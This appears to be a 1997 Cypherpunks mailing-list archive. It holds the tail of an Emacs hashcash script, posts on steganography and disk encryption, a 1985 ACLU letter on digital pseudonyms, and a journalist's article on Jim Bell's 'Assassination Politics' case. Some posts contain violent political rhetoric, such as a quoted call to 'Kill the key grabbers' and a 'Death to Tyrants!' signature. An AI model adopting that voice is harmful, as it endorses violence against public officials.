					     "^[^ \t\n]" end t)
					    (backward-char 1)
					  (goto-char end))
					(point))))))
	      (while (not (equal "" to-line))
		(let ((address (substring to-line
					  0 (string-match "," to-line))))
		  (if (string-match "," to-line)
		      (setq to-line (substring
				     to-line (string-match "," to-line)))
		    (setq to-line ""))
		  (while (eq 0 (string-match "[, \t]" to-line))
		    (setq to-line (substring to-line 1)))
		  ;; look up hashcash-payment-alist
		  (let ((pay (assoc address hashcash-payment-alist))
			(price (if (null arg)
				   hashcash-default-payment
				 (prefix-numeric-value arg))))
		    (if pay
			(if (eq 1 (length (cdr pay)))
			    (setq price (car (cdr pay)))
			  (progn
			    (setq address (car (cdr pay)))
			    (setq price (car (cdr (cdr pay)))))))
		    (insert-before-markers "X-Payment: "
					   (hashcash-generate-payment
					    address price)))))))))))

-- 
Paul Foley   ---   PGP-encrypted mail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Note:  All email will be directed to my "junk" mailbox unless a 12-bit
hashcash payment is attached on an X-Payment: header.  Send me mail
with the subject "get hashcash info" for information.
----------------------------------------------------------------------
If there is a possibility of several things going wrong, the one that
will cause the most damage will be the one to go wrong.






From nobody at toad.com  Mon Jul 21 09:35:12 1997
From: nobody at toad.com (Mismatched NFS IDs)
Date: Tue, 22 Jul 1997 00:35:12 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: <97Jul21.121209edt.32257@brickwall.ceddec.com>



On Sun, 20 Jul 1997, Robert Hettinga wrote:

> In an absolute sense, of course, more processing power is more software
> waste. My Mac wastes more cycles than I can physically count in a lifetime
> waiting for my next keystroke, and, after more than half a lifetime at the
> keyboard, I am a pretty fast typist.

The problem is that it wastes all those cycles until you hit enter (or OK)
and only then begins whatever arduous task, usually with a slowly moving
progress bar or dialog box.  What I really hate are the installs that are
going to take 15 minutes but insist that you don't do anything else while
it is copying files.  Unless you already started something in the
background which will happily run, but there is no shrink window widget.

That will probably all go away "RSN", but it will take something like a
web based process dispatch where you are filling in a form (maybe without
knowing it) and it is submitted to be dispatched to the least busy
processor in your network.  Plan 9 was trying to do something like this,
and the current SMP stuff at least attempts to do scheduling - we still
have this technology in a very mature state from mainframes and things
like vaxclusters.

But to go back to your comparison of lines v.s. nodes, the network and
busses are getting faster and the processors are two at about the same
rate, so both lines and nodes are getting cheaper, though not uniformly.

If lines become cheaper (in bits/sec/$) than nodes, we will have 10 CPU
boxes for 40 keyboard/display boxes, or some other appropriate ratio. 
Otherwise some combination of distributionware will become available so
you can run cpu intensive apps (e.g. spice electronic modeling) like DES
keyspace searches, though on your local net.  Even something like a
"batch" program for Windows NT, but the GUI paradigm makes clicking on Go 
a little difficult :).

There is another problem with software being purchased (or rented?) in the
model you describe.  It becomes cheaper to purchase it in bulk (e.g.  one
transaction giving access to a os and a library, and have the most used
components cached locally) than to go out and buy each piece as I need it. 
I have a toolbox in case I need to fix something.  If I had to drive to
store for each tool as I needed it, the sunk costs would then exceed the
price of the tool.  It would get worse if I tried to determine the best
price or best tool from among several stores.  I purchase one tool box
which handles 99.5% of the cases I am likely to see and have only one set
of sunk costs. 

E$ transactions have a very tiny transaction cost, but it is not zero, and
because it requires crypto it is noticable in CPU time and cycles.  If you
had to purchase 100 components to run Netscape (minimally the graphics,
http parsing, and a few other things first, then every time you clicked on
a new type of object), each having to be transacted and downloaded, it
would be worse than the existing bloatware.  Much like the cost of Email
is not zero, but a large amount is included in my monthly ISP payment
since the cost of tracking exceeds the cost of transmission.  A large
amount of software may eventually become a public good.  But as I may
occasionally need a special tool which is not in my box, I may want access
to special software or capacity.

--- reply to tzeruch - at - ceddec - dot - com ---







From happen_is at hotmail.com  Mon Jul 21 09:48:26 1997
From: happen_is at hotmail.com (unavailable) (unavailable)
Date: Tue, 22 Jul 1997 00:48:26 +0800
Subject: TEST IGNORE
Message-ID: <199707211622.JAA07978@f44.hotmail.com>



I told you to ignore it, didn't I?


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From nobody at toad.com  Mon Jul 21 09:51:35 1997
From: nobody at toad.com (Mismatched NFS IDs)
Date: Tue, 22 Jul 1997 00:51:35 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
Message-ID: <97Jul21.122058edt.32257@brickwall.ceddec.com>



On Sun, 20 Jul 1997, sar wrote:

> >There are some crypto plugins for MS, but nothing I know of will bury your
> >info encrypted with DES or IDEA in the lsbs of a .wav file.
> 
> take a look at  http://members.iquest.net/~mrmil/stego.html it has
> steganography programs for win95,dos,mac and amiga. as well as links to
> other stego pages and a paper on " covert channels in the tcp/ip suite" 

I took a look and everything I have seen can do stego, and some
encryption, but it is one file in one file.

I was not clear because the loop device can mount a filesystem, and
encrypt and/or stego an entire directory tree in one file transparently,
so I can mount my stego-crypto image on /home/me and do everything as I
normally would on an unencrypted partition.

ftp://csclub.uwaterloo.ca/pub/linux-stego/index.html

I can do the same with CFS, but it doesn't do stego, and I don't know if
it is available for many platforms outside unix.

--- reply to tzeruch - at - ceddec - dot - com ---






From nobody at REPLAY.COM  Mon Jul 21 10:08:13 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 22 Jul 1997 01:08:13 +0800
Subject: CDT's Berman Opposes Online Anonymity
Message-ID: <199707211648.SAA11236@basement.replay.com>






                     AMERICAN CIVIL LIBERTIES UNION


                       WASHINGTON OFFICE

                                                    122 Maryland Avenue, NE
 November 1, 1985                                   Washington, DC 20002
                                                    --------------------
                                                    National Headquarters
Mr. David Chaum                                     132 West 43rd Street
Centre for Mathematics and Computer Science         New York. NY 10036
P.O. Box 4079                                       (212) 944-9800
19O9 AB Amsterdam                                   Norman Dorsen
                                                      President
Dear Mr. Chaum:                                     Ira Glasser
                                                      Executive Director
                                                    Eleanor Holmes Norton
                                                      CHAIR
                                                    National Advisory
                                                    Council





        Thank you for sending me a most interesting article.   A
society of  individuals  and  organizations  that  would  expend  the
time and resources to use a  series  of  'digital  pseudonyms' to
avoid data linkage does not in my opinion make big brother
obsolete but  acts  on  the  assumption  that  big  brother  is  ever
present.  I  view  your  system  as  a  form  of  societal  paranoia.

        As a matter of  principle,  we  are  working  to  enact  formal
legal protections for  individual  privacy  rather  than  relying  on
technical solutions.   We want to  assume  a  society  of  law  which
respects legal limits rather than  a  society  that  will  disobey  the
law, requiring  citizens  to  depend  on  technical  solutions.  e.g.
require  a  judical  warrant  for  government  interception  of  data
communications rather than  encrypt  all  messages  on  the  assumption
that regardless of the lawt  the  government  will  abuse  its  power
and invade privacy.

        As a  matter  of  practicality,  I  do  not  think  your  system
offers much hope for privacy.    First, the trend toward universal
identifiers  is  as  much a  movement  generated  by  government  or
industry's desire to keep track of all citizens as it is by
citizens seeking simplicity and convenience in all transactions.
At best,  your  system  would  benefit  the  sophisticated  and  most
would opt for  simplicity.  The  poor  and  the  undereducated  would
never use or benefit from it.

        Finally where there's a  will, there's  a  way. If  government
wants to link data bases, it  will,  by  law, require  the  disclosure
of various individual pseudonyms used by citizens or prohibit it
for data bases which the government wants to link.  Since
corporations  make  money  by  trading  commercial  lists  with one
another, they will never adopt  the  system  or  if  it  is  adopted,
will use "fine printn  contracts  to  permit  selling  various   codes
used by their customers to other firms.

        The solution remains law, policy, and consensus about limits
on government or corporate intrusion into areas of individual
autonomy.  Technique can be used to enforce that consensus or to
override it. It cannot be used as a substitute for such
consensus.



                                            Sincerely Yours,

                                             /Sig/

                                            Jerry J. Berman
                                            Chief Legislative Counsel
                                            & Direrector ACLU
                                            Privacy Technology Project


   cc: John Shattuck







From jim.burnes at ssds.com  Mon Jul 21 10:25:01 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 22 Jul 1997 01:25:01 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: 





On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> [usual rant deleted]
> > 
> > Kill the key grabbers and all those who support them. Isn't it exactly what
> > Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Amazing.  Patriotism -- the last refuge of the scoundrel.
> 
> However, Patric Henry said something like "Give me liberty or give me
> death." That is really very different from "Kill everyone who opposes
> me and all their supporters." Tim doesn't seem to understand this
> nuance. 
> 

The patriotism quote has null benefit because it can be used against
anyone that has "patriotic" principles that are different than yours.

Thus all patriots are scoundrels when they disagree with you.

This is the same as name calling.

Re: Tim May's quote.  May is pointing out the truism that the world
is full of weak-minded fools.  This is the essential problem of
the illusory democracy that we live in today.  Since in our 
illusory democracy, the people falsely believe they've excercised their
will via "the vote".

The reality is that the sheeple, lulled into veritable unconsciouness with
an unending stream of monday-night sports, the Home Shopping Channel (TM) 
and Beavis and Butthead couldn't care a less as long as they feed on the
media/social security/propaganda tit.  Their personal opinions, thorougly
pre-chewed and digested are spoon-fed to them through a port in the side
of their head labeled "fear".

May is just one of the people who has awoken from the anesthesia
(self-induced or not).

We have met the enemy and he is us.

"There is no one so thoroughly enslaved as those who falsely 
believe they are free." (unknown)


Jim Burnes
jim.burnes at ssds.com










From tcmay at got.net  Mon Jul 21 10:38:37 1997
From: tcmay at got.net (Tim May)
Date: Tue, 22 Jul 1997 01:38:37 +0800
Subject: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: 



At 9:48 AM -0700 7/21/97, Anonymous wrote:
>                     AMERICAN CIVIL LIBERTIES UNION
>
>
>                       WASHINGTON OFFICE
>
>                                                    122 Maryland Avenue, NE
> November 1, 1985                                   Washington, DC 20002
...

In fairness to Berman, in 1985 very few people were thinking seriously
about these issues, and Chaum's paper (presumably the one published that
year in "Communicatons of the ACM") was probably seen as far-off technology
then.

I'd be more interested to see Berman's more recent views on online anonymity.

It might well be that in 1985 he saw little hope for technological
solutions, and understandably placed more faith in legislative solutions.

Now that the technology for anonymity is widely deployed, this situation
has changed.

If Berman or any of the other "cyber rights" groups were to call for bans
on anonymity, this would be news indeed. (And I don't expect them to. The
Supreme Court rulings on anonymous leafletting and speech were pretty
clearcut.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Mon Jul 21 10:47:45 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 22 Jul 1997 01:47:45 +0800
Subject: Jim Bell: "IRS Inspection" mail confirmed, IU article
In-Reply-To: 
Message-ID: 



I just spoke with Peter Avenia, a Federal public defender representing Jim
Bell. He said that Bell did indeed plead guilty last Friday to two felony
counts and sentencing is set for October. Apparently at least the thrust of
this "IRS Inspection" press release is accurate.

Avenia knew nothing about it, though.

-Declan

PS: I'm attaching an excerpt from my IU article in this month's issue.

************

(unedited)

Internet Underground
July 1997

Assassination Politics

Jim Bell wants to overthrow the government. He'll
have to get out of jail first.

By Declan McCullagh (declan at well.com)

[...]

IRS agents arrested Bell on May 16 and charged
him with obstructing government employees and
using false Social Security numbers. Now, this is
hardly attempting "to overthrow the government."
But government agents insist Bell is far more
dangerous than the charges suggest. (The judge
seemed to agree: at the time of this writing,
Bell is being held without bail.)

The latest IRS documents filed with the court
label Bell a terrorist. They claim he talked
about sabotaging the computers in Portland,
Oregon's 911 center, contaminating a local water
supply with a botulism toxin, extracting a poison
called Ricin from castor beans, and manufacturing
Sarin nerve gas. He allegedly bought and tested
some of the chemicals. "Bell has taken overt
steps to implement his overall plan by devising,
obtaining, and testing the materials needed to
carry out attacks against the United States,
including chemicals, nerve agents, destructive
carbon fibers, firearms, and explosives," the
complaint says.

But what really got the IRS in a stink was what
happened a month after they seized Bell's car.
The complaint says: "On March 16, 1997, a Sunday,
an IRS employee noted a strong odor in the
Federal building. On March 17, 1997, several IRS
employees had to be placed on leave due to the
odor, and another employee reported other ill
effects. The odor was traced to a mat and
carpeting... just outside the IRS office
entrance." The chemical proved to be "mercaptan,"
with which Bell's friends say he doused
an adversary's law office in the early 1980s.

Yet if Bell was a crypto-terrorist, he was a
singularly idle one. This is a problem with the
IRS' accusations: if true, they prove too much.
If Bell was bent on toppling the government, and
his exploits date back from the early 1980s, why
are they such laughably juvenile and ineffectual
ones? Stink-bombing offices isn't a Federal
felony, nor should it be.

"I would've thought this would be 'malicious
mischief,' at most," Tim May, one of the founders
of the cypherpunks, writes. "People who've done
far, far, far worse are left unprosecuted in
every major jurisdiction in this country. The
meat thrown to the media -- the usual AP stuff,
mixed in with 'radical libertarian' descriptions
-- is just to make the case more
media-interesting... It sure looks like they're
trying to throw a bunch of charges against the
wall and hope that some of them stick -- or scare
Bell into pleading to a lesser charge."

Since his arrest, the denizens of the cypherpunks
list, where Bell introduced and refined his
ideas, have become generally sympathetic. Gone is
the snarling derision, the attacks on his ideas
as too extreme. Now a sense of solidarity has
emerged. One 'punk wrote: "I have decided that I
cannot in good conscience allow Jim Bell's
persecution for exercising his basic human right
to free speech to pass by without taking personal
action to support him."

---

When I talked to Bell a few days before his
arrest, he spoke calmly and with little rancor
about the pending investigation. I couldn't tell
how he felt after being raided and interrogated
by his arch-enemy, the IRS. But imagine
continuously railing on the Net against
jackbooted thugs, then having real ones bash down
your front door.

Bell was most interested in talking up
Assassination Politics and predicting how it
would eventually blossom. He had just published
an op-ed in a local newspaper saying "the whole
corrupt system" could be stopped. "Whatever my
idea is, it's not silly. There are a lot of
adjectives you can use, but not silly," he told
me. "I feel that the mere fact of having such a
debate will cause people to realize that they no
longer have to tolerate the governments they
previously had to tolerate. At that point I think
politicians will slink away like they did in
eastern Europe in 1989. They'll have lost the
war."

He told me why he became convinced that the
government needed to be lopped off at the knees.
Bell's epiphany came after he ordered a chemical
from a supply firm and was arrested when he
failed to follow EPA regulations. "That
radicalized me," he said. "That pissed me off. I
figured I'd get back at them by taking down their
entire system. That's how I'd do it."'

Moral issues aside, one of the problems plaguing
Bell's scheme is that it's not limited to
eliminating "government thugs who violate your
rights," as he likes to describe it. If it
existed, anyone with some spare change could wipe
out a nosy neighbor or even an irritating grocery
store clerk. After I pointed this out to Bell on
the phone, he fired email back a few days later
saying, "Assuming a functioning Assassination
Politics system, nothing stops you from
contributing to my death." He suggested that
maybe assassins would develop scruples: "You'd
be able to purchase deaths of unworthy people,
but it might be only at a dramatically higher
price. Doable but not particularly economical."

---

Consider the case of Jake Baker, the University
of Michigan student who was arrested after
posting fantasies to Usenet about raping and
killing a classmate. A Federal judge eventually
threw out the charges, ruling Baker never
intended to act and the tale was "only a rather
savage and tasteless piece of fiction."

The government argues Bell intends to act. Their
court documents sketch a dark outline of a
computer geek increasingly distressed by and
disillusioned with society. He becomes
rebellious, anarchistic. But being an anarchist
isn't a crime; I've even dated one. Nor is it
against the law to bash the IRS. Some Republican
legislators make a career out of it. Even
collecting the home numbers of Federal employees
isn't a crime. What is against the law is when
speech becomes action, when online bravado
crosses the line and becomes direct threats -- or
a vial of botulism, on its way to a nearby
reservoir.

Which is the real question: Did Bell step beyond
mailing list posturing? Is he just fantasizing?
Did he intend to take real-world steps to erase
some Feds, or were his posts just megabytes of
bone-chilling blather? The IRS says it has
evidence of Bell's lethal intent but many
netizens who know Bell believe he's only a
harmless loon.

The Supreme Court has ruled that speech can be
suppressed only if it is intended, and is likely
to produce, "imminent lawless action." Since
Bell's manuscripts have drifted around the dusty
corners of cyberspace for years -- to no
discernible effect -- a prosecutor will be
hard-pressed to argue they're dangerous. Eric
Freedman, a constitutional law professor at
Hofstra Law School, says that Bell's writings are
protected by the First Amendment. The Supreme
Court's legal test "is not going to be met where
someone writes a speculative essay about what the
world would be like if such a system were in
place," he says.

Bell now faces a Federal grand jury and a
possible trial. "There are a lot of insinuations
and innuendo in the complaint but not a whole lot
of hard core criminal activity," says Peter
Avenia, a Federal public defender representing
Bell. "If you read the complaint and listen to
the testimony at the hearing, the government's
clearly concerned that Jim Bell may have been
planning to do any number of things. But when it
came down to showing any clear danger, the most
they could come up with is that they think he
might be involved in planning a stink bomb. It's
difficult to untangle the fear and hype from
what's going on."



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From frissell at panix.com  Mon Jul 21 11:45:15 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 22 Jul 1997 02:45:15 +0800
Subject: House Tries to Liberate ICs
Message-ID: <3.0.2.32.19970721142051.006c6e60@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

Notice how the following article does not mention the fact that ICs sometimes 
neglect to send those quarterly tax payments in on time and this is why the 
Feds dislike them.  It's not going to happen, but it would be fun if it 
did...

July 20, 1997

Item in Tax Bill Poses a Threat to Job Benefits

By STEVEN GREENHOUSE

In Congress and in thousands of workplaces, the nation's business community 
is seeking to change longstanding rules and practices to turn many people 
classified as employees into independent contractors -- a move that could 
cause many Americans to lose health insurance and pension and unemployment 
insurance benefits.

In a little-noticed provision in its tax bill, the House of Representatives 
has approved a new -- and, many experts say, more inclusive -- test to 
determine who is an independent contractor. The Clinton administration is 
fighting the provision, asserting that it would strip millions of workers of 
their basic benefits. But business groups say the legislation is needed to 
clarify the often fuzzy definition of who is an independent contractor.

Outside Capitol Hill, employers ranging from small construction companies to 
giants like Microsoft and Pacific Bell are increasingly hiring new workers as 
independent contractors rather than as traditional employees -- a not 
entirely new practice that is expanding rapidly as employers strain to cut 
costs.

Such a strategy not only gives employers more flexibility to shrink their 
work forces, but it saves them thousands of dollars per worker because 
companies do not have to make Social Security, Medicare, unemployment 
insurance or workers' compensation contributions for independent contractors.

"What's clear is employers are seeking increasingly to have more flexible 
arrangements," said Sara Horowitz, the executive director of Working Today, 
an advocacy group on workplace issues. "But what that means in reality is 
people are working increasingly without benefits. They're working not only 
without health coverage but without the protections of the major labor 
legislation of this century: pensions, minimum wage, occupational safety, 
unemployment insurance, age discrimination. The list goes on."

Opponents of this practice say companies are wrongly lumping people usually 
considered employees, like truck drivers and middle-level managers, into the 
independent contractor category, which traditionally referred to people in 
business for themselves.

At last year's Olympic Games in Atlanta, for example, several hundred 
broadcast technicians hired by the Atlanta Committee for the Olympic Games 
had to sign contracts saying they were freelance independent contractors 
rather than employees, who are protected by overtime and unemployment 
insurance laws.

A Maryland catering company that books 1,000 events a year insists that the 
75 waiters it hires on average for each event are independent contractors, 
not employees.

Texas A&M University recently hired 400 low-wage farm workers for its 18 
agricultural extension programs and classified them as independent 
contractors rather than employees -- a move the IRS found to be illegal.

Pacific Bell laid off hundreds of experienced middle managers several years 
ago and has hired many of them back as independent contractors, but without 
the health insurance, pension plan and unemployment coverage they used to 
have.

Corporate America defends the trend toward hiring independent contractors, 
saying it gives companies the flexibility to cut back easily during 
downturns. Business groups also assert that because this is an age when 
Americans are becoming more entrepreneurial and are increasingly working at 
home thanks to computers, it only makes sense to classify more workers as 
contractors.

The corporate groups that have persuaded the House and are pushing the Senate 
to rewrite the definition of who is an independent contractor contend that 
the legislation is needed because the common-law definition is arcane and 
vague. They say that because many companies fear harsh IRS punishment, 
existing law pushes employers to classify workers as employees when they 
should be considered independent contractors.

Nelson Litterst, manager of legislative affairs for the National Federation 
of Independent Business, a small-business group that is pushing hard for the 
legislation, said: "The interest of small business has never been to find 
loopholes in the law to create wholesale switches of workers to independent 
contractors. Our intention is to clarify the definition so there is less of a 
gray area."

But a senior Treasury Department official argued that the provision passed by 
the House appeared intended to greatly increase the number of independent 
contractors, currently 8.3 million.

"The number of employees who will be shifted will be in the millions," said 
the official, who characterized the House legislation as far broader than 
traditional definitions of independent contractor. "I'm not even sure if I 
would characterize this provision as a sieve. A sieve at least strains things 
out."

Martin Regalia, chief economist for the U.S. Chamber of Commerce, interprets 
the House language far more restrictively, saying it merely defines borders 
instead of opening up new territory. "To allege there will be wholesale 
expansion of independent contractors and that thousands of individuals will 
lose their benefits is pure rhetoric," he said.

The AFL-CIO is working to torpedo the House provision on independent 
contractors, insisting that it would eliminate basic protections for millions 
of workers, creating a cost advantage for many employers that would in turn 
push their competitors to transform their workers into independent 
contractors.

That trend is especially worrisome for organized labor, which is struggling 
to increase its ebbing numbers, because independent contractors are not 
allowed to form or join unions under federal labor law.

"What you have here is another window into the Republican leadership's view 
of the role of government," said Peggy Taylor, the labor federation's 
director of legislative affairs. "In this instance, they're trying to put 
government on the side of those corporations and employers who want to get 
away from any responsibilities for the people who work for them."

Because the House included the independent contractor provision in its tax 
bill, but the Senate inserted no such language in its tax bill, 
administration officials and members of Congress say it is hard to predict 
whether conferees will keep the provision in the final tax bill.

The House language, introduced by Rep. Jon Christensen, R-Neb., sets up three 
tests to determine who is an independent contractor:

First, there should be a written contract between the worker and the company.

Second, the worker has a principal place of business that is not the 
company's, does not work primarily at the company's place of business or 
rents an office at the company. An alternative second test is whether the 
worker is not required to work exclusively for the company and whether the 
worker performed a significant amount of work for other companies the 
previous year.

If a worker meets the first and second tests, satisfying any of the following 
criteria makes a worker an independent contractor: The worker has "a 
significant investment in assets and/or training," the worker is primarily 
paid on commission, the worker has significant unreimbursed expenses or the 
worker's service is for a specific amount of time to complete a specific 
task.

Regalia, the Chamber of Commerce economist, said these criteria would create 
far more certainty than the common-law test, which turns on whether the 
employer controls not just the results of a worker's service but the means a 
worker uses, such as the route a worker drives or how a worker dresses.

But analyses prepared by the Clinton administration and the AFL-CIO indicate 
that the new test will sweep many more workers into the independent 
contractor category. Pizza deliverers could easily become independent 
contractors because they do not work primarily on their company's place of 
business, they own their cars (a significant investment in assets), and they 
obtain most earnings from tips (primarily paid by commissions).

Similarly, carpenters and painters might overwhelmingly be considered 
independent contractors because they own their tools (a significant 
investment in assets), they do no work on their company's premises and they 
might sign a contract to do a specific job over a specific period.

According to the Treasury, many secretaries could become independent 
contractors if companies pay them a little extra and then require them to buy 
their own computers and pay a modest rent for their offices.

Business groups criticize these analyses as ludicrous, insisting that 
corporations will not do wholesale reclassifications of traditional employees 
into contractors.

The AFL-CIO is leading the campaign to kill the provision in conference, 
arguing that when employees are turned into independent contractors, society 
at large will often have to foot the bill for those without health insurance 
or pensions. .

Organized labor and businesses are fighting about independent contractors in 
another forum: the National Labor Relations Board. There, they are disputing 
whether truck drivers for the Roadway Package System and for Dial-a-Mattress 
should be considered independent contractors.

If the board does not find them to be employees, that will be a huge setback 
to organized labor because independent contractors do not have the 
protections of the National Labor Relations Act to form unions and bargain 
collectively.

"We're heading into a two-tiered economy," said Ms. Horowitz of Working 
Today, the advocacy group. "The first tier has a New Deal safety net, 
protected by all the different labor laws. Then there is a second tier that's 
short term, flexible, many of them independent contractors. That tier doesn't 
receive benefits or labor law protections.

"The labor law and social protections are completely out of sync with this 
work force. If the rules of the game are changing and people are going to 
become independent contractors, then we have to have a new safety net that 
serves these people, too."


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From frissell at panix.com  Mon Jul 21 12:07:01 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 22 Jul 1997 03:07:01 +0800
Subject: Jim Bell: "IRS Inspection" mail confirmed, IU article
In-Reply-To: 
Message-ID: <3.0.2.32.19970721145141.006b0038@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:39 PM 7/21/97 -0400, Declan McCullagh wrote:
>I just spoke with Peter Avenia, a Federal public defender representing Jim
>Bell. He said that Bell did indeed plead guilty last Friday to two felony
>counts and sentencing is set for October. Apparently at least the thrust of
>this "IRS Inspection" press release is accurate.
>
>Avenia knew nothing about it, though.
>
>-Declan
>

I'll be curious to see what kind of deal he got.  It had better be an awfully 
good one (say "time served").  If not he was as dumb as toast.

He had a perfect chance to rake the Feds over the coals and try nasty 
disfavored defenses like Selective Prosecution.  Hard to win that one but he 
had as good a case as any one I've seen for that defense.  At the most, he 
would have gotten a short sentence if convicted.  Big deal.  

Since he was apparently not doing a great deal with his life in any case, he 
could have used it for some good.  Make the Feds spend hundreds of thousands 
of dollars on him and tie up their resources.  

Prison is no punishment for those who like to read and write.

In these political cases where the Feds are clearly overreaching, those who 
don't plead do much better than those who do.  This is the reverse of the 
situation in normal criminal cases.

Look at those in the Operation Sun Devil cases who plead vs. those who 
fought.  Or the Princeton Partners brokers who fought Rudy during the '80s 
Wall Street crackdown and won vs. Michael Milken who plead and ended up with 
the same sentence he would have received if he had been convicted.  Or even 
G. Gordon Liddy who refused to plead, was convicted and sentenced to a long 
sentence got pardoned (because of the disparity of his punishment) and is now 
more successful than all the rest of that crew put together.  

Don't plead in political cases.  It's stupid.

DCF

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From kent at songbird.com  Mon Jul 21 12:25:02 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 22 Jul 1997 03:25:02 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970719072518.07383@bywater.songbird.com>
Message-ID: <19970721120326.06352@bywater.songbird.com>



On Sun, Jul 20, 1997 at 02:40:07PM -0400, Declan McCullagh wrote:
> Kent,
> 
> Yours is an interesting response. But what if one has no principles, just
> strategy and tactics?

???The obvious answer is that such a person doesn't exist.  You may
not be able to articulate your principles, they may change, they may
be "bad" or purely selfish, but they are there, guiding your actions. 
I view your question as equivalent to "But what if one has no
brain..." Principles are underlying rules controlling behavior, and
are orthogonal to bad and good. 

> If you don't know what your principles are -- if you can't identify them
> and speak to them -- then you have no business being an advocate.

If this rule were strictly followed there would be very few advocates 
indeed. :-) 

Your car is stuck in the mud, the river is raising.  Is it better to
get dirty and get the car out, or to keep your hands clean, and write
off the car? Obviously the question isn't whether or not your hands
get dirty -- the question is whether the car can be saved, and what it
is worth. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From sar at cynicism.com  Mon Jul 21 12:32:26 1997
From: sar at cynicism.com (sar)
Date: Tue, 22 Jul 1997 03:32:26 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
Message-ID: <3.0.2.32.19970721141349.007e5100@box.cynicism.com>



At 12:20 PM 7/21/97 -0400, you wrote:
>On Sun, 20 Jul 1997, sar wrote:
>
>> >There are some crypto plugins for MS, but nothing I know of will bury your
>> >info encrypted with DES or IDEA in the lsbs of a .wav file.
>> 
>> take a look at  http://members.iquest.net/~mrmil/stego.html it has
>> steganography programs for win95,dos,mac and amiga. as well as links to
>> other stego pages and a paper on " covert channels in the tcp/ip suite" 
>
>I took a look and everything I have seen can do stego, and some
>encryption, but it is one file in one file.
>
>I was not clear because the loop device can mount a filesystem, and
>encrypt and/or stego an entire directory tree in one file transparently,
>so I can mount my stego-crypto image on /home/me and do everything as I
>normally would on an unencrypted partition.
>
>ftp://csclub.uwaterloo.ca/pub/linux-stego/index.html
>
>I can do the same with CFS, but it doesn't do stego, and I don't know if
>it is available for many platforms outside unix.
>
>--- reply to tzeruch - at - ceddec - dot - com ---
>

there are programs witch let you encrypt entire disk volumes transparently
for dos and windows such as 'Secure FileSystem' available at
http://www.cs.auckland.ac.nz/~pgut001/sfs.html. I've never used any such
programs so I really cant say with any confidence how well or if they work..






From Webmaster at CyberSpaceTechnologies.com  Mon Jul 21 12:38:57 1997
From: Webmaster at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Tue, 22 Jul 1997 03:38:57 +0800
Subject: Interesting Question..
Message-ID: <33D3B726.C5C7DE0E@CyberSpaceTechnologies.com>



Here is an interesting question. The U.S government has classified
encryption software as a munitions under the U.S ITAR regulations, which

will limit the export of same. They rarely if ever approve an export
unless they have thoroughly inspected it and have been given certain
shall we say assurances. Next they develop a number of different chips
that rely on a classified algorythm, which incidently they developed.
They say that they want the entire population of the U.S to use these
chips, going so far as to use their market power to put additional
pressure on enterprises to manufacture and use these chips. Next the FBI

howls thatt they need a law to ban domestic non-escrowed encryption.
Then we have the Congress trying to pass stricter laws regarding
encryption while screaming that they have to protect the children from
all this nasty stuff on the web. This they scream even though they can't

pass a balanced budget or manage to find enough money to educate those
self same kids. Next we have us, the general public, who are worried
that the government will abuse this proposed system. The government says

they won't, which we are supposed to believe even though their track
record shows that we can't trust them past the first money trough that
comes their way. That leaves one final question. How long until they
stop asking and pleading and start demanding we use this system of
theirs. How long until we become criminals by enacting our right not to
use it?

Interesting, don't you think?






From paul at fatmans.demon.co.uk  Mon Jul 21 12:44:53 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 22 Jul 1997 03:44:53 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: 




> It certainly appears that the IRS has sent "warnings" out to all of us
> active in the debate. It appears they used the addresses found in e-mail at
> Bell's residence, from some of the comments here (especially that other
> lists besides the Cypherpunks list were involved).


Does anyone here who didn`t recieve a copy of the mail recall if they 
ever mailed Jim directly, and not through the list?

The way I see it there are two possible ways the motherfuckers got the 
addresses, either they found the lists Jim subscribed to and did "who 
cypherpunks" etc. to the servers, to get the list of participants, or 
they used any adresses off the mail jim has recieved in the past, I got a 
copy of it and I have privately emailed Jim several times so I can`t 
really say which is more likely.

If it is the second I am hereby giving Jim a public dresssing down for 
not encrypting the filesystem ;-)....

> "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> prison term. If you don't confess, when we find you guilty you'll receive
> the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> receive the maximum term. If neither of you confesses, you'll still be
